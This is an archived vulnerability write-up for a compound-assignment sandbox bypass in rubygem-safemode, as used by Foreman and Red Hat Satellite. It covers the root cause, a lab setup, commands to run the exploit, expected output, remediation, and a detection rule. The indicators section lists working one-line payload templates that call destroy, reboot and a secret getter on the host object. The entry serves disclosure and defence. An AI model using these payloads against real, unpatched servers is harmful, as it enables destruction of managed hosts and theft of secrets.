rubygem-safemode Compound-Assignment Jail Allow-List Bypass (CVE-2026-107360)
Published: 2026-11-27 • Researcher: Lê Hiếu (GitHub: googlesky); vulnerability credited to Kaya Emre Arikan via Red Hat Product Security (Bugzilla 2547645)
- Severity
- Critical
- CVE
- CVE-2026-107360 (RHSA-2026:99949, RHSA-2026:99950, RHSA-2026:99952, RHSA-2026:100120)
- Category
- web
- Affected product
- rubygem-safemode, the sandboxed template evaluator used by Foreman and Red Hat Satellite 6
- Affected versions
- Every released safemode version through 2.0.3 (tag edc74ce); Red Hat Satellite 6.16, 6.17 and 6.18 with rubygem-safemode 1.5.0-1 / 1.5.0-2. Fixed by upstream PR #75 and by rubygem-safemode 1.5.0-3.el8sat / 1.5.0-3.el9sat
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://www.cve.org/CVERecord?id=CVE-2026-107360
- https://nvd.nist.gov/vuln/detail/CVE-2026-107360
- https://access.redhat.com/security/cve/CVE-2026-107360
- https://access.redhat.com/errata/RHSA-2026:99949
- https://projects.theforeman.org/issues/40029
- https://github.com/theforeman/safemode/pull/75
- https://github.com/googlesky/CVE-2026-107360
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-11-19 (upstream commit 9e479bb, “Add standalone full-chain exploit script to CVE-2026-107360”) |
| Author / Researcher | Lê Hiếu (GitHub: googlesky); vulnerability credited to Kaya Emre Arikan via Red Hat Product Security (Bugzilla 2547645) |
| CVE / Advisory | CVE-2026-107360 (RHSA-2026:99949, RHSA-2026:99950, RHSA-2026:99952, RHSA-2026:100120) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.6 (CVSSv3.1 base score, NVD; EPSS 0.00531 in the harvested record) |
| Status | Weaponized (differential lab executes the bypass against safemode 2.0.3 and blocks it on the PR #75 fix; not executed while preparing this entry) |
| Tags | sandbox escape, template injection, Ruby, safemode, Foreman, Red Hat Satellite, CWE-183, authenticated, compound assignment |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | rubygem-safemode, the sandboxed template evaluator used by Foreman and Red Hat Satellite 6 |
| Versions Affected | Every released safemode version through 2.0.3 (tag edc74ce); Red Hat Satellite 6.16, 6.17 and 6.18 with rubygem-safemode 1.5.0-1 / 1.5.0-2. Fixed by upstream PR #75 and by rubygem-safemode 1.5.0-3.el8sat / 1.5.0-3.el9sat |
| Language / Platform | Ruby 3.1.7 with prism 1.9.0 and ruby2ruby 2.5.2; Foreman 3.19 / 5.0; Red Hat Satellite 6.16–6.18 |
| Authentication Required | Partial — a low-privilege authenticated account able to supply or influence template content |
| Network Access Required | Yes — template submission or preview over the Foreman/Satellite web interface |
Summary
safemode rewrites sandboxed Ruby template source so that every method call is mediated through a Jail allow-list. The 2.0.3 parser explicitly admits the compound-assignment node family but provides no handler for it, so the assignment is emitted verbatim and its getter and setter run directly on the real template object instead of on the Jail wrapper. An authenticated template author can therefore invoke any zero-argument method on objects such as the Foreman host object, including destructive calls like destroy and reboot, execute non-allow-listed setters and read back non-allow-listed state. The archived lab demonstrates the bypass against safemode 2.0.3 and shows the same templates blocked by the upstream fix.
Vulnerability Details
Root Cause
CWE-183 (permissive list of allowed inputs). safemode parses sandboxed Ruby with Prism, inserts .to_jail on the receiver of every call node in Safemode::Parser#process_call, re-emits the tree with Ruby2Ruby and evaluates it inside a Safemode::Scope binding. In safemode 2.0.3 the parser’s static node allowlist admits op_asgn, op_asgn1, op_asgn2, op_asgn_and, op_asgn_or, safe_op_asgn and safe_op_asgn2, and its own source comment records that these node types do not insert .to_jail on the receiver. None of them has a process_* handler, so they fall through to Ruby2Ruby’s default processing and are emitted as literal Ruby.
The emitted forms matter. For a template such as @host.destroy ||= nil the receiver is an ivar node rather than a call node, and the method invocation is implicit in the assignment syntax, so .to_jail is never inserted. Safemode::Scope resolves the ivar to the real host object, and the getter destroy therefore executes on the real object. A falsy getter such as @host.audit ||= 1 reaches the setter audit= on the real object, @host[0] ||= 1 reaches both [] and []=, and the expression value returns the getter result, disclosing non-allow-listed state. Plain assignments are not exploitable because attrasgn and safe_attrasgn were removed from the allowlist in 2.0.3 by commit e963aab; the compound-assignment family is the remaining open gate.
Attack Vector
An authenticated user with template edit or preview rights submits ERB or Ruby template content that is rendered with safemode_render enabled, which is the default. Foreman renders provisioning templates, partition tables, report templates and job templates through exactly this path. The payload is a one-line compound assignment whose getter or setter names a method that is not on the Jail allow-list.
Impact
Arbitrary no-argument method invocation on every object exposed to the template renderer, without Jail mediation. In Foreman and Satellite that includes ActiveRecord models such as the host object, so an attacker can delete or reboot hosts, run other zero-argument model methods, set attributes that the allow-list forbids, and read back secrets and state that the sandbox is supposed to hide. The result is integrity and confidentiality loss within the managed infrastructure, and destructive operations can take monitored or provisioned systems offline.
Environment / Lab Setup
OS: Linux host with Podman and network access to build images
Target: cve-2026-107360:vuln (safemode tag v2.0.3, edc74ce) on :28081
cve-2026-107360:fixed (PR #75 head 0bd3998) on :28082
Runner: cve-2026-107360-poc:local (python:3.12-alpine)
Network: dedicated Podman network cve2026107360lab
Tools: podman, make, Ruby 3.1.7, prism 1.9.0, ruby2ruby 2.5.2,
ruby_parser 3.21.1, sexp_processor 4.17.4Setup Steps
| |
The two target images share one Dockerfile, one base image and one dependency set; only the checked-out safemode ref differs, so any behavioural difference is attributable to the fix.
Proof of Concept
Step-by-Step Reproduction
Confirm the lab is valid with a non-destructive classification. The disclosure primitive uses a getter that is deliberately not on the allow-list.
Shell script1make poc-vuln MODE=checkRun the full chain against the vulnerable build: destructive no-argument calls, disclosure and setter bypass.
Shell script1 2 3make poc-vuln MODE=exploit # or directly: python3 exploit/exploit.py --target http://127.0.0.1:28081Run the same command against the fixed build to observe every primitive blocked.
Shell script1make poc-fixed MODE=exploitSweep every reproduction path (R1–R8 plus the ERB variants) on both builds.
Shell script1 2make sweep-vuln make sweep-fixed
Exploit Code
See
exploit/exploit.pyfor the standalone full-chain client andpoc/poc.pyfor the classifier with check, exploit, probe and mitigation modes.
The exploit chain is four one-line templates submitted to the lab renderer:
| |
| |
Expected Output
r1_destroy -> raw: "ok result='#<HostProbe:0x…>'", state_destroyed: true
r1b_reboot -> raw: "ok result='#<HostProbe:0x…>'", state_rebooted: true
r5_disclosure -> raw: "ok result='S3CR3T-ROOT-PASSWORD-VALUE'"
r_setter_bypass -> raw: "ok result='1'", state_audit_set: true
verdict: VULNERABLE — arbitrary no-arg method execution on template objects
without Jail mediation
poc-exit=1
r1_destroy -> "Safemode::NoMethodError: undefined method '#destroy' for
HostProbe::Jail (HostProbe)", state_destroyed: false
r5_disclosure -> "Safemode::NoMethodError: undefined method '#secret' …"
verdict: safe — all exploit primitives blocked
poc-exit=0Detection & Indicators of Compromise
@host.destroy ||= nil
@host.reboot ||= nil
@host.secret ||= nil
@host.audit ||= 1
@host[0] ||= 1SIEM / IDS rule (example):
alert file any any -> any any (msg:"Possible safemode compound-assignment bypass"; \
content:"||="; content:"@host."; distance:0; sid:90107360;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to a safemode release containing PR #75; on Red Hat Satellite apply RHSA-2026:99949 / 99950 / 99952 / 100120 (rubygem-safemode 1.5.0-3) |
| Workaround | Restrict template edit and preview privileges to trusted administrators until the fixed package is deployed (the vendor’s interim mitigation) |
| Config Hardening | Keep template rendering inside safemode; never disable safemode_render; audit who holds template-editing roles |
| Detection | Alert on compound-assignment operators in submitted template content and on destructive model operations that originate from template rendering |
References
Notes
Verdict: genuine exploit. The repository ships a working differential lab and a standalone exploit client. It reproduces the exact parser-level root cause, executes destructive and disclosure primitives against a deliberately non-allow-listed probe object, and demonstrates that the PR #75 fix blocks the same templates. It is not a scanner, checker, version audit or README-only analysis, and it contains no malware, C2, persistence, evasion, credential-stealing or bot functionality.
License: MIT, Copyright (c) 2026 Lê Hiếu (LICENSE file included).
Limitations: (1) the lab implements a Foreman-style renderer rather than a full Foreman or Satellite instance, so the probe object stands in for the real host model; (2) the destructive primitives act on that probe object and its side-effect registry, not on live infrastructure; (3) a low-privilege authenticated account with template edit or preview rights is required; (4) the ERB variant using the Rails-era @output_buffer is blocked on both builds for unrelated modern-ERB reasons and is documented upstream as an environment incompatibility, not a bypass; (5) the lab expects a local safemode git checkout at ./safemode because lab/build.sh creates git worktrees from it, and the generated src-vuln and src-fixed build contexts are intentionally not archived; (6) the exploit was reviewed statically and was not executed while preparing this entry.
| |